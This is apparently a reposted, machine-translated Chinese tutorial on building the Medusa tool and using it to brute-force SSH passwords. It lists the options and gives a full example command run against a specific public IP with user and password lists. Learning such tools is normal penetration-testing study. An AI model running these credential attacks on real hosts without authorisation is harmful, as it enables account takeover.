当前位置:网站首页>Medusa installation and simple use

Medusa installation and simple use

2022-07-05 02:21:00 Heyue Keyan

medusa Installation and ease of use

1、 Compile and install manually medusa
yum install openssl-devel libssh2-devel -y # Install dependency packages

tar zxvf medusa-2.2.tar.gz

cd medusa-2.2/
./configure && make -j 4 && make install

2、medusa Parameter description :
-H [File] Include the target host name or IP The file of
-U [File] The user name file that contains the test
-p[File] Contains the password file for the test
-O[File] Log information file , Save the results of brute force cracking
-M[text] Module execution name
-t[num] Set the number of threads
-n[num] Use for non-default TCP port number Specify non 22 Port number , Default 22

3、 Blast ssh
Specify by file host and user,host.txt Is the target host name or IP Address ,user.txt Specify required burst Crack the user name , Use wordlist.txt Dictionary burst .

head -n 20 wordlist.txt > b.txt # take  20  A code , Put it in  b.txt. If straight   Use this dictionary , It took too long 
echo 123456 >> b.txt # Write the correct password 
echo 219.143.129.64 > /root/host.txt # Specified burst  IP, A line of one .
vim /root/users.txt # Insert the following multiple users 
medusa -M ssh -H ./host.txt -U ./users.txt -t 8 -P b.txt -O hack.log
 After successful cracking, it will display  success  word , And put the result of the burst into  hack.log  in 
原网站

版权声明
本文为[Heyue Keyan]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/02/202202140932385078.html